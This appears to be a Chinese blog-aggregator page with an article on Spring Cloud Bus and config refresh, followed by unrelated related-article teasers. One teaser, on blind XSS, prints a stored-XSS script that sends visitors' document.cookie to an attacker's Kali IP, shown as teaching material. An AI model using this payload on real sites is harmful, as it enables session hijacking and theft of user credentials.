SpringCloud——消息总线——Bus

1.什么是总线?

        我们在微服务的项目中,通常会构建一个共同的消息主题,然后需要的服务可以连接上来,该主题中产生的消息会被监听和消费,这种我们称为消息总线。

        SpringCloud Bus 配合SpringCloud Config使用可以实现配置的动态刷新。

2.两种实现方式

        Bus目前支持RabbitMQ和Kafka。

        第一种就是我们利用/bus/refresh先触发一个客户端获取最新配置,然后由此客户端发送消息给总线,从而传播去修改其他的客户端配置。

        第二种就是利用/bush/refresh去触发服务端(Config Server)配置的暴露bus刷新配置的端点('bus-refresh'),然后由服务端发送消息给总线,从而传播去刷新所有客户端的配置。  

显然我们最好选择第二种,原因有以下两点:

  • 客户端服务模块本身是业务模块,不应该承担发送消息的职责。

  • 破坏了客户端各微服务的对等性。

3.整体流程梳理

         初始架构就是服务端连接git,要从git上读配置,客户端服务连接服务端服务,要从服务端上读配置,然后服务端和客户端都要添加消息总线的支持,这是上图的(1)(2)。此时运维人员在git上修改了配置(3),并发送POST请求总线刷新给服务端(4):

        此时服务端就发送消息给消息总线(5),所有客户端就监听到了事件消息(6),然后去服务端读取最新的配置即可(7)。

        如果我们不想通知全部的客户端,只想定点通知某一个客户端,我们只需要修改Post请求即可,例如:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/139154.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

xss 盲打

XSS 盲打 为什么教盲打&#xff0c;是因为处于被动&#xff0c;要等待受害者触发 1.利用存储型XSS 先将代码写入留言。同时kali开启端口监听&#xff08;下面IP是kali的&#xff09; <script>document.write(\<img src\"http://10.9.47.79/\document.cookie\\&qu…

Google/微端/Amazon/IBM四个厂家在分布式里面提供的服务总结

1.背景 最近在复习分布式的课程&#xff0c;发现总有四家公司——Google/微端/Amazon/IBM绕不过去&#xff0c;而他们又开发了许许多多的服务和架构&#xff0c;需要去记忆&#xff0c;于是乎就整理了一下他们提供的服务 2.Google提供的服务 &#xff08;1&#xff09;GFS(Go…

【Java、MongoDB】程序控制非关系数据库

步骤&#xff1a; &#xff08;1&#xff09;连接 连接字符串 &#xff08;2&#xff09;CRUD 类与接口 解析 &#xff08;3&#xff09;maven管理方法 依赖 <dependency><groupId>org.mongodb</groupId><artifactId>mongodb-driver-legacy<…

Jenkins 部署.net core 项目 - NU1301错误

/root/.jenkins/workspace/householdess/services/host/fdbatt.monitor.HttpApi.Host/fdbatt.monitor.HttpApi.Host.csproj : error NU1301: 本地源“/root/.jenkins/workspace/householdess/​http:/x.x.x.x:9081/repository/nuget.org-proxy/index.json”不存在。 [/root/.je…

Java中String的概念与应用

引言&#xff1a; 在Java编程语言中&#xff0c;String&#xff08;字符串&#xff09;是一个非常重要且广泛使用的类。String类代表不可变的字符序列&#xff0c;它提供了一系列方法来操作字符串。本文将详细描述Java中String的概念、特性以及在实际开发中的应用。 一、String…

Linux运维

1. 请解释什么是Linux操作系统&#xff1f; Linux操作系统是一种自由和开放源代码的类UNIX操作系统。它是基于UNIX的一个克隆&#xff0c;由林纳斯托瓦兹在1991年首次发布。Linux操作系统遵循POSIX标准&#xff0c;这意味着它可以运行在各种硬件平台上&#xff0c;如x86、ARM等…

汽车制动系统技术分析概要

目录 1.基本功能概述 2. 基本工作原理分析 2.1 Two-Box系统架构(Bosch_IBooster) 2.2 One-Box系统架构(Bosch_IPB) 2.3 ​​​​​​​ABS技术 2.4 TCS技术 2.5 VDC技术 2.6 EPB技术 2.7 小结 3. 该场景应用发展趋势分析 1.基本功能概述 传统汽车的底盘主要由传动系、…

在DDD领域驱动下的微服务数据库的MVC设计思路(高度可行性)

在DDD领域驱动下的微服务架构中使用MVC设计思路来设计数据库是可行的&#xff0c;因为MVC是一种经典的软件架构模式&#xff0c;可以将应用程序分为三个主要部分&#xff1a;模型、视图和控制器。在微服务架构中&#xff0c;每个微服务可以看作是一个模块&#xff0c;可以使用M…

最全面的软考架构师复习资料(历时2年整理)

一、面向服务的架构 1.请分别用200字以内文字说明什么是面向服务架构&#xff08;SOA&#xff09;以及ESB在SOA的作用与特点 面向服务的体系架构&#xff08;SOA&#xff09;是一种粗粒度、松耦合的服务架构&#xff0c;服务之间通过简单、精确定义接口进行通信。他可以根据需求…

CSS3 多媒体查询、网格布局

一、CSS3多媒体查询&#xff1a; CSS3 多媒体查询继承了CSS2多媒体类型的所有思想&#xff0c;取代了查找设备的类型。CSS3根据设置自适应显示。 多媒体查询语法&#xff1a; media not|only mediatype and (expressions) { CSS 代码...; } not: not是用来排除掉某些特定…

论文笔记:SimiDTR: Deep Trajectory Recovery with Enhanced Trajectory Similarity

DASFFA 2023 1 intro 1.1 背景 由于设备和环境的限制&#xff08;设备故障&#xff0c;信号缺失&#xff09;&#xff0c;许多轨迹以低采样率记录&#xff0c;或者存在缺失的位置&#xff0c;称为不完整轨迹 恢复不完整轨迹的缺失空间-时间点并降低它们的不确定性是非常重要…

RT-Thread构建与配置系统

简述 RT-Thread的构建与配置系统由以下几个部分组成&#xff1a; KConfig&#xff1a;kernel config配置文件&#xff08;提供系统的配置裁剪功能&#xff09;SCons&#xff1a;构建工具env工具&#xff1a;主要提供构建系统所需的各种环境变量以及软件包的管理 Kconfig在R…

【C++】this指针讲解超详细!!!

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

Zookeeper篇---第五篇

系列文章目录 文章目录 系列文章目录一、Zookeeper为什么要这么设计?二、你知道Zookeeper中有哪些角色?三、你熟悉Zookeeper节点ZNode和相关属性吗?一、Zookeeper为什么要这么设计? ZooKeeper设计的目的是提供高性能、高可用、顺序一致性的分布式协调服务、保证数据最终一…

ElasticSearch的集群、节点、索引、分片和副本

Elasticsearch是面向文档型数据库&#xff0c;一条数据在这里就是一个文档。为了方便大家理解&#xff0c;我们将Elasticsearch里存储文档数据和关系型数据库MySQL存储数据的概念进行一个类比 ES里的Index可以看做一个库&#xff0c;而Types相当于表&#xff0c;Documents则相当…

宠物社区系统宠物领养小程序,宠物救助小程序系统多少钱?

当前很多的宠物被抛弃和虐杀&#xff0c;它们没有选择权&#xff0c;我们强制性的把狗带进人类的生活中&#xff0c;然后又无情的抛弃&#xff0c;让它们无家可归&#xff0c;变成流浪狗&#xff0c;它们做错了什么&#xff1f;流浪动物被主人遗弃之后居无定所&#xff0c;时刻…

海康工业相机如何提高相机帧率

影响帧率的因素 相机参数 帧率限制使能 像素格式 曝光时间 数据包大小&#xff08;网口&#xff09; 相机默认参数 ADC位深 系统环境设置

HDU 1716:排列2 ← next_permutation()

【题目来源】http://acm.hdu.edu.cn/showproblem.php?pid1716【题目描述】 Ray又对数字的列产生了兴趣&#xff1a; 现有四张卡片&#xff0c;用这四张卡片能排列出很多不同的4位数&#xff0c;要求按从小到大的顺序输出这些4位数。【输入格式】 每组数据占一行&#xff0c;代…

相机内外参实践之点云投影矢量图

目录 概述 涉及到的坐标变换 深度值可视化 3D点云的2D投影实现 实现效果 参考文献 概述 Camer的内外参在多模态融合中主要涉及到坐标系变换&#xff0c;即像素坐标、相机坐标以及其他坐标系。这篇就针对点云到图像的投影与反投影做代码实践&#xff0c;来构建一张具有深度…